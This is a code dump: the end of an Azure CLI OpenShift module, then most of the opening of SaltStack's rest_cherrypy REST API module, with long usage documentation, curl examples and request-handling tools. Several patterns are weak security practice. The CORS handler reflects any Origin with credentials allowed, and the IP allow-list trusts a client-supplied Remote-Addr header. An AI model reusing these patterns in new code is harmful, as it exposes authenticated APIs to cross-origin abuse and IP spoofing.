long_running_operation_timeout=300 return sdk_no_wait(no_wait, client.create_or_update, resource_group_name=resource_group_name, resource_name=name, parameters=osamc) except CloudError as ex: raise ex def openshift_show(cmd, client, resource_group_name, name): mc = client.get(resource_group_name, name) return _remove_osa_nulls([mc])[0] def openshift_scale(cmd, client, resource_group_name, name, compute_count, no_wait=False): instance = client.get(resource_group_name, name) # TODO: change this approach when we support multiple agent pools. instance.agent_pool_profiles[0].count = int(compute_count) # pylint: disable=no-member # null out the AAD profile and add manually the masterAP name because otherwise validation complains instance.master_pool_profile.name = "master" instance.auth_profile = None return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance)
app.py
# encoding: utf-8 ''' A REST API for Salt =================== .. py:currentmodule:: salt.netapi.rest_cherrypy.app :depends: - CherryPy Python module. Note: there is a `known SSL traceback for CherryPy versions 3.2.5 through 3.7.x <https://github.com/cherrypy/cherrypy/issues/1298>`_. Please use version 3.2.3 or the latest 10.x version instead. :optdepends: - ws4py Python module for websockets support. :client_libraries: - Java: https://github.com/SUSE/salt-netapi-client - Python: https://github.com/saltstack/pepper :setup: All steps below are performed on the machine running the Salt Master daemon. Configuration goes into the Master configuration file. 1. Install ``salt-api``. (This step varies between OS and Linux distros. Some package systems have a split package, others include salt-api in the main Salt package. Ensure the ``salt-api --version`` output matches the ``salt --version`` output.) 2. Install CherryPy. (Read the version caveat in the section above.) 3. Optional: generate self-signed SSL certificates. Using a secure HTTPS connection is strongly recommended since Salt eauth authentication credentials will be sent over the wire. 1. Install the PyOpenSSL package. 2. Generate a self-signed certificate using the :py:func:`~salt.modules.tls.create_self_signed_cert` execution function. .. code-block:: bash salt-call --local tls.create_self_signed_cert 4. Edit the master config to create at least one external auth user or group following the :ref:`full external auth instructions <acl-eauth>`. 5. Edit the master config with the following production-ready example to enable the ``rest_cherrypy`` module. (Adjust cert paths as needed, or disable SSL (not recommended!).) .. code-block:: yaml rest_cherrypy: port: 8000 ssl_crt: /etc/pki/tls/certs/localhost.crt ssl_key: /etc/pki/tls/certs/localhost.key 6. Restart the ``salt-master`` daemon. 7. Start the ``salt-api`` daemon. :configuration: All available configuration options are detailed below. These settings configure the CherryPy HTTP server and do not apply when using an external server such as Apache or Nginx. port **Required** The port for the webserver to listen on. host : ``0.0.0.0`` The socket interface for the HTTP server to listen on. debug : ``False`` Starts the web server in development mode. It will reload itself when the underlying code is changed and will output more debugging info. log_access_file Path to a file to write HTTP access logs. .. versionadded:: 2016.11.0 log_error_file Path to a file to write HTTP error logs. .. versionadded:: 2016.11.0 ssl_crt The path to a SSL certificate. (See below) ssl_key The path to the private key for your SSL certificate. (See below) ssl_chain (Optional when using PyOpenSSL) the certificate chain to pass to ``Context.load_verify_locations``. disable_ssl A flag to disable SSL. Warning: your Salt authentication credentials will be sent in the clear! webhook_disable_auth : False The :py:class:`Webhook` URL requires authentication by default but external services cannot always be configured to send authentication. See the Webhook documentation for suggestions on securing this interface. webhook_url : /hook Configure the URL endpoint for the :py:class:`Webhook` entry point. thread_pool : ``100`` The number of worker threads to start up in the pool. socket_queue_size : ``30`` Specify the maximum number of HTTP connections to queue. expire_responses : True Whether to check for and kill HTTP responses that have exceeded the default timeout. .. deprecated:: 2016.11.9, 2017.7.3, Oxygen The "expire_responses" configuration setting, which corresponds to the ``timeout_monitor`` setting in CherryPy, is no longer supported in CherryPy versions >= 12.0.0. max_request_body_size : ``1048576`` Maximum size for the HTTP request body. collect_stats : False Collect and report statistics about the CherryPy server Reports are available via the :py:class:`Stats` URL. stats_disable_auth : False Do not require authentication to access the ``/stats`` endpoint. .. versionadded:: Oxygen static A filesystem path to static HTML/JavaScript/CSS/image assets. static_path : ``/static`` The URL prefix to use when serving static assets out of the directory specified in the ``static`` setting. enable_sessions : ``True`` Enable or disable all endpoints that rely on session cookies. This can be useful to enforce only header-based authentication. .. versionadded:: 2017.7.0 app : ``index.html`` A filesystem path to an HTML file that will be served as a static file. This is useful for bootstrapping a single-page JavaScript app. Warning! If you set this option to a custom web application, anything that uses cookie-based authentcation is vulnerable to XSRF attacks. Send the custom ``X-Auth-Token`` header instead and consider disabling the ``enable_sessions`` setting. .. versionchanged:: 2017.7.0 Add a proof-of-concept JavaScript single-page app. app_path : ``/app`` The URL prefix to use for serving the HTML file specified in the ``app`` setting. This should be a simple name containing no slashes. Any path information after the specified path is ignored; this is useful for apps that utilize the HTML5 history API. root_prefix : ``/`` A URL path to the main entry point for the application. This is useful for serving multiple applications from the same URL. .. _rest_cherrypy-auth: Authentication -------------- Authentication is performed by passing a session token with each request. Tokens are generated via the :py:class:`Login` URL. The token may be sent in one of two ways: as a custom header or as a session cookie. The latter is far more convenient for clients that support cookies. * Include a custom header named :mailheader:`X-Auth-Token`. For example, using curl: .. code-block:: bash curl -sSk https://localhost:8000/login \\ -H 'Accept: application/x-yaml' \\ -d username=saltdev \\ -d password=saltdev \\ -d eauth=auto Copy the ``token`` value from the output and include it in subsequent requests: .. code-block:: bash curl -sSk https://localhost:8000 \\ -H 'Accept: application/x-yaml' \\ -H 'X-Auth-Token: 697adbdc8fe971d09ae4c2a3add7248859c87079'\\ -d client=local \\ -d tgt='*' \\ -d fun=test.ping * Sent via a cookie. This option is a convenience for HTTP clients that automatically handle cookie support (such as browsers). For example, using curl: .. code-block:: bash # Write the cookie file: curl -sSk https://localhost:8000/login \\ -c ~/cookies.txt \\ -H 'Accept: application/x-yaml' \\ -d username=saltdev \\ -d password=saltdev \\ -d eauth=auto # Read the cookie file: curl -sSk https://localhost:8000 \\ -b ~/cookies.txt \\ -H 'Accept: application/x-yaml' \\ -d client=local \\ -d tgt='*' \\ -d fun=test.ping Another example using the :program:`requests` library in Python: .. code-block:: python >>> import requests >>> session = requests.Session() >>> session.post('http://localhost:8000/login', json={ 'username': 'saltdev', 'password': 'saltdev', 'eauth': 'auto', }) <Response [200]> >>> resp = session.post('http://localhost:8000', json=[{ 'client': 'local', 'tgt': '*', 'fun': 'test.arg', 'arg': ['foo', 'bar'], 'kwarg': {'baz': 'Baz!'}, }]) >>> resp.json() {u'return': [{ ...snip... }]} .. seealso:: You can bypass the session handling via the :py:class:`Run` URL. Usage ----- This interface directly exposes Salt's :ref:`Python API <python-api>`. Everything possible at the CLI is possible through the Python API. Commands are executed on the Salt Master. The root URL (``/``) is RPC-like in that it accepts instructions in the request body for what Salt functions to execute, and the response contains the result of those function calls. For example: .. code-block:: text % curl -sSi https://localhost:8000 \ -H 'Content-type: application/json' \ -d '[{ "client": "local", "tgt": "*", "fun": "test.ping" }]' HTTP/1.1 200 OK Content-Type: application/json [...snip...] {"return": [{"jerry": true}]} The request body must be an array of commands. Use this workflow to build a command: 1. Choose a client interface. 2. Choose a function. 3. Fill out the remaining parameters needed for the chosen client. The ``client`` field is a reference to the main Python classes used in Salt's Python API. Read the full :ref:`client interfaces <netapi-clients>` documentation, but in short: * "local" uses :py:class:`LocalClient <salt.client.LocalClient>` which sends commands to Minions. Equivalent to the ``salt`` CLI command. * "runner" uses :py:class:`RunnerClient <salt.runner.RunnerClient>` which invokes runner modules on the Master. Equivalent to the ``salt-run`` CLI command. * "wheel" uses :py:class:`WheelClient <salt.wheel.WheelClient>` which invokes wheel modules on the Master. Wheel modules do not have a direct CLI equivalent but they typically manage Master-side resources such as state files, pillar files, the Salt config files, and the :py:mod:`key wheel module <salt.wheel.key>` exposes similar functionality as the ``salt-key`` CLI command. Most clients have variants like synchronous or asynchronous execution as well as others like batch execution. See the :ref:`full list of client interfaces <netapi-clients>`. Each client requires different arguments and sometimes has different syntax. For example, ``LocalClient`` requires the ``tgt`` argument because it forwards the command to Minions and the other client interfaces do not. ``LocalClient`` also takes ``arg`` (array) and ``kwarg`` (dictionary) arguments because these values are sent to the Minions and used to execute the requested function there. ``RunnerClient`` and ``WheelClient`` are executed directly on the Master and thus do not need or accept those arguments. Read the method signatures in the client documentation linked above, but hopefully an example will help illustrate the concept. This example causes Salt to execute two functions -- the :py:func:`test.arg execution function <salt.modules.test.arg>` using ``LocalClient`` and the :py:func:`test.arg runner function <salt.runners.test.arg>` using ``RunnerClient``; note the different structure for each command. The results for both are combined and returned as one response. .. code-block:: text % curl -b ~/cookies.txt -sSi localhost:8000 \ -H 'Content-type: application/json' \ -d ' [ { "client": "local", "tgt": "*", "fun": "test.arg", "arg": ["positional arg one", "positional arg two"], "kwarg": { "keyword arg one": "Hello from a minion", "keyword arg two": "Hello again from a minion" } }, { "client": "runner", "fun": "test.arg", "keyword arg one": "Hello from a master", "keyword arg two": "Runners do not support positional args" } ] ' HTTP/1.1 200 OK [...snip...] { "return": [ { "jerry": { "args": [ "positional arg one", "positional arg two" ], "kwargs": { "keyword arg one": "Hello from a minion", "keyword arg two": "Hello again from a minion", [...snip...] } }, [...snip; other minion returns here...] }, { "args": [], "kwargs": { "keyword arg two": "Runners do not support positional args", "keyword arg one": "Hello from a master" } } ] } One more example, this time with more commonly used functions: .. code-block:: text curl -b /tmp/cookies.txt -sSi localhost:8000 \ -H 'Content-type: application/json' \ -d ' [ { "client": "local", "tgt": "*", "fun": "state.sls", "kwarg": { "mods": "apache", "pillar": { "lookup": { "wwwdir": "/srv/httpd/htdocs" } } } }, { "client": "runner", "fun": "cloud.create", "provider": "my-ec2-provider", "instances": "my-centos-6", "image": "ami-1624987f", "delvol_on_destroy", true } ] ' HTTP/1.1 200 OK [...snip...] { "return": [ { "jerry": { "pkg_|-install_apache_|-httpd_|-installed": { [...snip full state return here...] } } [...snip other minion returns here...] }, { [...snip full salt-cloud output here...] } ] } Content negotiation ------------------- This REST interface is flexible in what data formats it will accept as well as what formats it will return (e.g., JSON, YAML, urlencoded). * Specify the format of data in the request body by including the :mailheader:`Content-Type` header. * Specify the desired data format for the response body with the :mailheader:`Accept` header. We recommend the JSON format for most HTTP requests. urlencoded data is simple and cannot express complex data structures -- and that is often required for some Salt commands, such as starting a state run that uses Pillar data. Salt's CLI tool can reformat strings passed in at the CLI into complex data structures, and that behavior also works via salt-api, but that can be brittle and since salt-api can accept JSON it is best just to send JSON. Here is an example of sending urlencoded data: .. code-block:: bash curl -sSik https://localhost:8000 \\ -b ~/cookies.txt \\ -d client=runner \\ -d fun='jobs.lookup_jid' \\ -d jid='20150129182456704682' .. admonition:: urlencoded data caveats * Only a single command may be sent per HTTP request. * Repeating the ``arg`` parameter multiple times will cause those parameters to be combined into a single list. Note, some popular frameworks and languages (notably jQuery, PHP, and Ruby on Rails) will automatically append empty brackets onto repeated query string parameters. E.g., ``?foo[]=fooone&foo[]=footwo``. This is **not** supported; send ``?foo=fooone&foo=footwo`` instead, or send JSON or YAML. A note about ``curl`` The ``-d`` flag to curl does *not* automatically urlencode data which can affect passwords and other data that contains characters that must be encoded. Use the ``--data-urlencode`` flag instead. E.g.: .. code-block:: bash curl -ksi http://localhost:8000/login \\ -H "Accept: application/json" \\ -d username='myapiuser' \\ --data-urlencode password='1234+' \\ -d eauth='pam' Performance Expectations and Recommended Usage ============================================== This module provides a thin wrapper around :ref:`Salt's Python API <python-api>`. Executing a Salt command via rest_cherrypy is directly analogous to executing a Salt command via Salt's CLI (which also uses the Python API) -- they share the same semantics, performance characteristics, and 98% of the same code. As a rule-of-thumb: if you wouldn't do it at the CLI don't do it via this API. Long-Running HTTP Connections ----------------------------- The CherryPy server is a production-ready, threading HTTP server written in Python. Because it makes use of a thread pool to process HTTP requests it is not ideally suited to maintaining large numbers of concurrent, synchronous connections. On moderate hardware with default settings it should top-out at around 30 to 50 concurrent connections. That number of long-running, synchronous Salt processes is also not ideal. Like at the CLI, each Salt command run will start a process that instantiates its own ``LocalClient``, which instantiates its own listener to the Salt event bus, and sends out its own periodic ``saltutil.find_job`` queries to determine if a Minion is still running the command. Not exactly a lightweight operation. Timeouts -------- In addition to the above resource overhead for long-running connections, there are the usual HTTP timeout semantics for the CherryPy server, any HTTP client being used, as well as any hardware in between such as proxies, gateways, or load balancers. rest_cherrypy can be configured not to time-out long responses via the ``expire_responses`` setting, and both :py:class:`LocalClient <salt.client.LocalClient>` and :py:class:`RunnerClient <salt.runner.RunnerClient>` have their own timeout parameters that may be passed as top-level keywords: .. code-block:: bash curl -b /tmp/cookies.txt -sSi localhost:8000 \ -H 'Content-type: application/json' \ -d ' [ { "client": "local", "tgt": "*", "fun": "test.sleep", "kwarg": {"length": 30}, "timeout": 60 }, { "client": "runner", "fun": "test.sleep", "kwarg": {"s_time": 30}, "timeout": 60 } ] ' Best Practices -------------- Given the performance overhead and HTTP timeouts for long-running operations described above, the most effective and most scalable way to use both Salt and salt-api is to run commands asynchronously using the ``local_async``, ``runner_async``, and ``wheel_async`` clients. Running async jobs results in being able to process 3x more commands per second for ``LocalClient`` and 17x more commands per second for ``RunnerClient``, in addition to much less network traffic and memory requirements. Job returns can be fetched from Salt's job cache via the ``/jobs/<jid>`` endpoint, or they can be collected into a data store using Salt's :ref:`Returner system <returners>`. The ``/events`` endpoint is specifically designed to handle long-running HTTP connections and it exposes Salt's event bus which includes job returns. Watching this endpoint first, then executing asynchronous Salt commands second, is the most lightweight and scalable way to use ``rest_cherrypy`` while still receiving job returns in real-time. But this requires clients that can properly handle the inherent asynchronicity of that workflow. Performance Tuning ------------------ The ``thread_pool`` and ``socket_queue_size`` settings can be used to increase the capacity of rest_cherrypy to handle incoming requests. Keep an eye on RAM usage as well as available file handles while testing changes to these settings. As salt-api is a thin wrapper around Salt's Python API, also keep an eye on the performance of Salt when testing. Future Plans ------------ Now that Salt uses the Tornado concurrency library internally, we plan to improve performance in the API by taking advantage of existing processes and event listeners and to use lightweight coroutines to facilitate more simultaneous HTTP connections and better support for synchronous operations. That effort can be tracked in `issue 26505`__, but until that issue is closed rest_cherrypy will remain the officially recommended REST API. .. __: https://github.com/saltstack/salt/issues/26505 .. |req_token| replace:: a session token from :py:class:`~Login`. .. |req_accept| replace:: the desired response format. .. |req_ct| replace:: the format of the request body. .. |res_ct| replace:: the format of the response body; depends on the :mailheader:`Accept` request header. .. |200| replace:: success .. |400| replace:: bad or malformed request .. |401| replace:: authentication required .. |406| replace:: requested Content-Type not available ''' # We need a custom pylintrc here... # pylint: disable=W0212,E1101,C0103,R0201,W0221,W0613 # Import Python libs from __future__ import absolute_import import collections import itertools import functools import logging import os import signal import tarfile from multiprocessing import Process, Pipe logger = logging.getLogger(__name__) # Import third-party libs # pylint: disable=import-error, 3rd-party-module-not-gated import cherrypy try: from cherrypy.lib import cpstats except AttributeError: cpstats = None logger.warn('Import of cherrypy.cpstats failed. ' 'Possible upstream bug: ' 'https://github.com/cherrypy/cherrypy/issues/1444') except ImportError: cpstats = None logger.warn('Import of cherrypy.cpstats failed.') # pylint: enable=import-error, 3rd-party-module-not-gated # Import Salt libs import salt import salt.auth import salt.exceptions import salt.utils.event import salt.utils.json import salt.utils.stringutils import salt.utils.versions import salt.utils.yaml from salt.ext import six from salt.ext.six import BytesIO # Import salt-api libs import salt.netapi # Imports related to websocket try: from .tools import websockets from . import event_processor HAS_WEBSOCKETS = True except ImportError: websockets = type('websockets', (object,), { 'SynchronizingWebsocket': None, }) HAS_WEBSOCKETS = False def html_override_tool(): ''' Bypass the normal handler and serve HTML for all URLs The ``app_path`` setting must be non-empty and the request must ask for ``text/html`` in the ``Accept`` header. ''' apiopts = cherrypy.config['apiopts'] request = cherrypy.request url_blacklist = ( apiopts.get('app_path', '/app'), apiopts.get('static_path', '/static'), ) if 'app' not in cherrypy.config['apiopts']: return if request.path_info.startswith(url_blacklist): return if request.headers.get('Accept') == '*/*': return try: wants_html = cherrypy.lib.cptools.accept('text/html') except cherrypy.HTTPError: return else: if wants_html != 'text/html': return raise cherrypy.InternalRedirect(apiopts.get('app_path', '/app')) def salt_token_tool(): ''' If the custom authentication header is supplied, put it in the cookie dict so the rest of the session-based auth works as intended ''' x_auth = cherrypy.request.headers.get('X-Auth-Token', None) # X-Auth-Token header trumps session cookie if x_auth: cherrypy.request.cookie['session_id'] = x_auth def salt_api_acl_tool(username, request): ''' ..versionadded:: 2016.3.0 Verifies user requests against the API whitelist. (User/IP pair) in order to provide whitelisting for the API similar to the master, but over the API. ..code-block:: yaml rest_cherrypy: api_acl: users: '*': - 1.1.1.1 - 1.1.1.2 foo: - 8.8.4.4 bar: - '*' :param username: Username to check against the API. :type username: str :param request: Cherrypy request to check against the API. :type request: cherrypy.request ''' failure_str = ("[api_acl] Authentication failed for " "user {0} from IP {1}") success_str = ("[api_acl] Authentication sucessful for " "user {0} from IP {1}") pass_str = ("[api_acl] Authentication not checked for " "user {0} from IP {1}") acl = None # Salt Configuration salt_config = cherrypy.config.get('saltopts', None) if salt_config: # Cherrypy Config. cherrypy_conf = salt_config.get('rest_cherrypy', None) if cherrypy_conf: # ACL Config. acl = cherrypy_conf.get('api_acl', None) ip = request.remote.ip if acl: users = acl.get('users', {}) if users: if username in users: if ip in users[username] or '*' in users[username]: logger.info(success_str.format(username, ip)) return True else: logger.info(failure_str.format(username, ip)) return False elif username not in users and '*' in users: if ip in users['*'] or '*' in users['*']: logger.info(success_str.format(username, ip)) return True else: logger.info(failure_str.format(username, ip)) return False else: logger.info(failure_str.format(username, ip)) return False else: logger.info(pass_str.format(username, ip)) return True def salt_ip_verify_tool(): ''' If there is a list of restricted IPs, verify current client is coming from one of those IPs. ''' # This is overly cumbersome and crude, # But, it's also safe... ish... salt_config = cherrypy.config.get('saltopts', None) if salt_config: cherrypy_conf = salt_config.get('rest_cherrypy', None) if cherrypy_conf: auth_ip_list = cherrypy_conf.get('authorized_ips', None) if auth_ip_list: logger.debug("Found IP list: {0}".format(auth_ip_list)) rem_ip = cherrypy.request.headers.get('Remote-Addr', None) logger.debug("Request from IP: {0}".format(rem_ip)) if rem_ip not in auth_ip_list: logger.error("Blocked IP: {0}".format(rem_ip)) raise cherrypy.HTTPError(403, 'Bad IP') def salt_auth_tool(): ''' Redirect all unauthenticated requests to the login page ''' # Redirect to the login page if the session hasn't been authed if 'token' not in cherrypy.session: # pylint: disable=W8601 raise cherrypy.HTTPError(401) # Session is authenticated; inform caches cherrypy.response.headers['Cache-Control'] = 'private' def cors_tool(): ''' Handle both simple and complex CORS requests Add CORS headers to each response. If the request is a CORS preflight request swap out the default handler with a simple, single-purpose handler that verifies the request and provides a valid CORS response. ''' req_head = cherrypy.request.headers resp_head = cherrypy.response.headers # Always set response headers necessary for 'simple' CORS. resp_head['Access-Control-Allow-Origin'] = req_head.get('Origin', '*') resp_head['Access-Control-Expose-Headers'] = 'GET, POST' resp_head['Access-Control-Allow-Credentials'] = 'true' # Non-simple CORS preflight request; short-circuit the normal handler. if cherrypy.request.method == 'OPTIONS': ac_method = req_head.get('Access-Control-Request-Method', None) allowed_methods = ['GET', 'POST'] allowed_headers = [ 'Content-Type', 'X-Auth-Token', 'X-Requested-With', ] if ac_method and ac_method in allowed_methods: resp_head['Access-Control-Allow-Methods'] = ', '.join(allowed_methods) resp_head['Access-Control-Allow-Headers'] = ', '.join(allowed_headers) resp_head['Connection'] = 'keep-alive' resp_head['Access-Control-Max-Age'] = '1400' # CORS requests should short-circuit the other tools. cherrypy.response.body = '' cherrypy.response.status = 200 cherrypy.serving.request.handler = None # Needed to avoid the auth_tool check. if cherrypy.request.config.get('tools.sessions.on', False): cherrypy.session['token'] = True return True # Be conservative in what you send # Maps Content-Type to serialization functions; this is a tuple of tuples to # preserve order of preference. ct_out_map = ( ('application/json', salt.utils.json.dumps), ('application/x-yaml', functools.partial( salt.utils.yaml.safe_dump, default_flow_style=False)), ) def hypermedia_handler(*args, **kwargs): ''' Determine the best output format based on the Accept header, execute the regular handler, and transform the output to the request content type (even if it's an error). :param args: Pass args through to the main handler :param kwargs: Pass kwargs through to the main handler ''' # Execute the real handler. Handle or pass-through any errors we know how # to handle (auth & HTTP errors). Reformat any errors we don't know how to # handle as a data structure. try: cherrypy.response.processors = dict(ct_out_map) ret = cherrypy.serving.request._hypermedia_inner_handler(*args, **kwargs) except (salt.exceptions.EauthAuthenticationError, salt.exceptions.TokenAuthenticationError): raise cherrypy.HTTPError(401) except salt.exceptions.SaltInvocationError: raise cherrypy.HTTPError(400) except (salt.exceptions.SaltDaemonNotRunning, salt.exceptions.SaltReqTimeoutError) as exc: raise cherrypy.HTTPError(503, exc.strerror) except salt.exceptions.SaltClientTimeout: raise cherrypy.HTTPError(504) except cherrypy.CherryPyException: raise except Exception as exc: # The TimeoutError exception class was removed in CherryPy in 12.0.0, but # Still check existence of TimeoutError and handle in CherryPy < 12. # The check was moved down from the SaltClientTimeout error line because # A one-line if statement throws a BaseException inheritance TypeError. if hasattr(cherrypy, 'TimeoutError') and isinstance(exc, cherrypy.TimeoutError): raise cherrypy.HTTPError(504) import traceback logger.debug("Error while processing request for: %s", cherrypy.request.path_info, exc_info=True) cherrypy.response.status = 500 ret = { 'status': cherrypy.response.status, 'return': '{0}'.format(traceback.format_exc(exc)) if cherrypy.config['debug'] else "An unexpected error occurred"} # Raises 406 if requested content-type is not supported best = cherrypy.lib.cptools.accept([i for (i, _) in ct_out_map]) # Transform the output from the handler into the requested output format cherrypy.response.headers['Content-Type'] = best out = cherrypy.response.processors[best] try: response = out(ret) if six.PY3: response = salt.utils.stringutils.to_bytes(response) return response except Exception: msg = 'Could not serialize the return data from Salt.' logger.debug(msg, exc_info=True) raise cherrypy.HTTPError(500, msg) def hypermedia_out(): ''' Determine the best handler for the requested content type Wrap the normal handler and transform the output from that handler into the requested content type ''' request = cherrypy.serving.request request._hypermedia_inner_handler = request.handler # If handler has been explicitly set to None, don't override. if request.handler is not None: request.handler = hypermedia_handler def process_request_body(fn): ''' A decorator to skip a processor function if process_request_body is False ''' @functools.wraps(fn) def wrapped(*args, **kwargs): # pylint: disable=C0111 if cherrypy.request.process_request_body is not False: fn(*args, **kwargs) return wrapped def urlencoded_processor(entity): ''' Accept x-www-form-urlencoded data (run through CherryPy's formatter) and reformat it into a Low State data structure. Since we can't easily represent complicated data structures with key-value pairs, any more complicated requirements (e.g. compound commands) must instead be delivered via JSON or YAML. For example:: .. code-block:: bash curl -si localhost:8000 -d client=local -d tgt='*' \\ -d fun='test.kwarg' -d arg='one=1' -d arg='two=2' :param entity: raw POST data ''' # First call out to CherryPy's default processor cherrypy._cpreqbody.process_urlencoded(entity) cherrypy._cpreqbody.process_urlencoded(entity) cherrypy.serving.request.unserialized_data = entity.params cherrypy.serving.request.raw_body = '' @process_request_body def json_processor(entity): ''' Unserialize raw POST data in JSON format to a Python data structure. :param entity: raw POST data ''' if six.PY2: body = entity.fp.read() else: # https://github.com/cherrypy/cherrypy/pull/1572 contents = BytesIO() body = entity.fp.read(fp_out=contents) contents.seek(0) body = salt.utils.stringutils.to_unicode(contents.read()) del contents try: cherrypy.serving.request.unserialized_data = salt.utils.json.loads(body) except ValueError: raise cherrypy.HTTPError(400, 'Invalid JSON document') cherrypy.serving.request.raw_body = body @process_request_body def yaml_processor(entity): ''' Unserialize raw POST data in YAML format to a Python data structure. :param entity: raw POST data ''' if six.PY2: body = entity.fp.read() else: # https://github.com/cherrypy/cherrypy/pull/1572 contents = BytesIO() body = entity.fp.read(fp_out=contents) contents.seek(0) body = salt.utils.stringutils.to_unicode(contents.read()) try: cherrypy.serving.request.unserialized_data = salt.utils.yaml.safe_load(body) except ValueError: raise cherrypy.HTTPError(400, 'Invalid YAML document') cherrypy.serving.request.raw_body = body @process_request_body def text_processor(entity): ''' Attempt to unserialize plain text as JSON Some large services still send JSON with a text/plain Content-Type. Those services are bad and should feel bad. :param entity: raw POST data ''' if six.PY2: body = entity.fp.read() else: # https://github.com/cherrypy/cherrypy/pull/1572 contents = BytesIO() body = entity.fp.read(fp_out=contents) contents.seek(0) body = salt.utils.stringutils.to_unicode(contents.read()) try: cherrypy.serving.request.unserialized_data = salt.utils.json.loads(body) except ValueError: cherrypy.serving.request.unserialized_data = body cherrypy.serving.request.raw_body = body def hypermedia_in(): ''' Unserialize POST/PUT data of a specified Content-Type. The following custom processors all are intended to format Low State data and will place that data structure into the request object. :raises HTTPError: if the request contains a Content-Type that we do not have a processor for ''' # Be liberal in what you accept ct_in_map = { 'application/x-www-form-urlencoded': urlencoded_processor, 'application/json': json_processor, 'application/x-yaml': yaml_processor, 'text/yaml': yaml_processor, 'text/plain': text_processor, } # Do not process the body for POST requests that have specified no content # or have not specified Content-Length if (cherrypy.request.method.upper() == 'POST' and cherrypy.request.headers.get('Content-Length', '0') == '0'): cherrypy.request.process_request_body = False cherrypy.request.unserialized_data = None cherrypy.request.body.processors.clear() cherrypy.request.body.default_proc = cherrypy.HTTPError( 406, 'Content type not supported') cherrypy.request.body.processors = ct_in_map def lowdata_fmt(): ''' Validate and format lowdata from incoming unserialized request data This tool requires that the hypermedia_in tool has already been run. ''' if cherrypy.request.method.upper() != 'POST': return data = cherrypy.request.unserialized_data # if the data was sent as urlencoded, we need to make it a list. # this is a very forgiving implementation as different clients set different # headers for form encoded data (including charset or something similar) if data and isinstance(data, collections.Mapping): # Make the 'arg' param a list if not already if 'arg' in data and not isinstance(data['arg'], list): data['arg'] = [data['arg']] # Finally, make a Low State and put it in request cherrypy.request.lowstate = [data] else: cherrypy.serving.request.lowstate = data tools_config = { 'on_start_resource': [ ('html_override', html_override_tool), ('salt_token', salt_token_tool), ], 'before_request_body': [ ('cors_tool', cors_tool), ('salt_auth', salt_auth_tool), ('hypermedia_in', hypermedia_in), ], 'before_handler': [ ('lowdata_fmt', lowdata_fmt), ('hypermedia_out', hypermedia_out), ('salt_ip_verify', salt_ip_verify_tool), ], } for hook, tool_list in tools_config.items(): for idx, tool_config in enumerate(tool_list): tool_name, tool_fn = tool_config setattr(cherrypy.tools, tool_name, cherrypy.Tool( hook, tool_fn, priority=(50 + idx))) ############################################################################### class LowDataAdapter(object): ''' The primary entry point to Salt's REST API ''' exposed = True _cp_config = { 'tools.salt_token.on': True, 'tools.sessions.on': True, 'tools.sessions.timeout': 60 * 10, # 10 hours # 'tools.autovary.on': True, 'tools.hypermedia_out.on': True, 'tools.hypermedia_in.on': True, 'tools.lowdata_fmt.on': True, 'tools.salt_ip_verify.on': True, } def __init__(self): self.opts = cherrypy.config['saltopts'] self.apiopts = cherrypy.config['apiopts'] self.api = salt.netapi.NetapiClient(self.opts) def exec_lowstate(self, client=None, token=None): ''' Pull a Low State data structure from request and execute the low-data chunks through Salt. The low-data chunks will be updated to include the authorization token for the current session. ''' lowstate = cherrypy.request.lowstate # Release the session lock before executing any potentially # long-running Salt commands. This allows different threads to execute # Salt commands concurrently without blocking. if cherrypy.request.config.get('tools.sessions.on', False): cherrypy.session.release_lock() # if the lowstate loaded isn't a list, lets notify the client if not isinstance(lowstate, list): raise cherrypy.HTTPError(400, 'Lowstates must be a list') # Make any requested additions or modifications to each lowstate, then # execute each one and yield the result. for chunk in lowstate: if token: chunk['token'] = token if client: chunk['client'] = client # Make any 'arg' params a list if not already. # This is largely to fix a deficiency in the urlencoded format. if 'arg' in chunk and not isinstance(chunk['arg'], list): chunk['arg'] = [chunk['arg']] ret = self.api.run(chunk) # Sometimes Salt gives us a return and sometimes an iterator if isinstance(ret, collections.Iterator): for i in ret: yield i else: yield ret @cherrypy.config(**{'tools.sessions.on': False}) def GET(self): ''' An explanation of the API with links of where to go next .. http:get:: / :reqheader Accept: |req_accept| :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000 .. code-block:: http GET / HTTP/1.1 Host: localhost:8000 Accept: application/json **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Type: application/json ''' import inspect return { 'return': "Welcome", 'clients': salt.netapi.CLIENTS, } @cherrypy.tools.salt_token() @cherrypy.tools.salt_auth() def POST(self, **kwargs): ''' Send one or more Salt commands in the request body .. http:post:: / :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :reqheader Content-Type: |req_ct| :resheader Content-Type: |res_ct| :status 200: |200| :status 400: |400| :status 401: |401| :status 406: |406| :term:`lowstate` data describing Salt commands must be sent in the request body. **Example request:** .. code-block:: bash curl -sSik https://localhost:8000 \\ -b ~/cookies.txt \\ -H "Accept: application/x-yaml" \\ -H "Content-type: application/json" \\ -d '[{"client": "local", "tgt": "*", "fun": "test.ping"}]' .. code-block:: http POST / HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml X-Auth-Token: d40d1e1e Content-Type: application/json [{"client": "local", "tgt": "*", "fun": "test.ping"}] **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Length: 200 Allow: GET, HEAD, POST Content-Type: application/x-yaml return: - ms-0: true ms-1: true ms-2: true ms-3: true ms-4: true ''' return { 'return': list(self.exec_lowstate( token=cherrypy.session.get('token'))) } class Minions(LowDataAdapter): ''' Convenience URLs for working with minions ''' _cp_config = dict(LowDataAdapter._cp_config, **{ 'tools.salt_auth.on': True, }) def GET(self, mid=None): ''' A convenience URL for getting lists of minions or getting minion details .. http:get:: /minions/(mid) :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :status 200: |200| :status 401: |401| :status 406: |406| **Example request:** .. code-block:: bash curl -i localhost:8000/minions/ms-3 .. code-block:: http GET /minions/ms-3 HTTP/1.1 Host: localhost:8000 Accept: application/x-yaml **Example response:** .. code-block:: http HTTP/1.1 200 OK Content-Length: 129005 Content-Type: application/x-yaml return: - ms-3: grains.items: ... ''' cherrypy.request.lowstate = [{ 'client': 'local', 'tgt': mid or '*', 'fun': 'grains.items', }] return { 'return': list(self.exec_lowstate( token=cherrypy.session.get('token'))), } def POST(self, **kwargs): ''' Start an execution command and immediately return the job id .. http:post:: /minions :reqheader X-Auth-Token: |req_token| :reqheader Accept: |req_accept| :reqheader Content-Type: |req_ct| :resheader Content-Type: |res_ct| :status 200: |200| :status 400: |400| :status 401: |401| :status 406: |406| 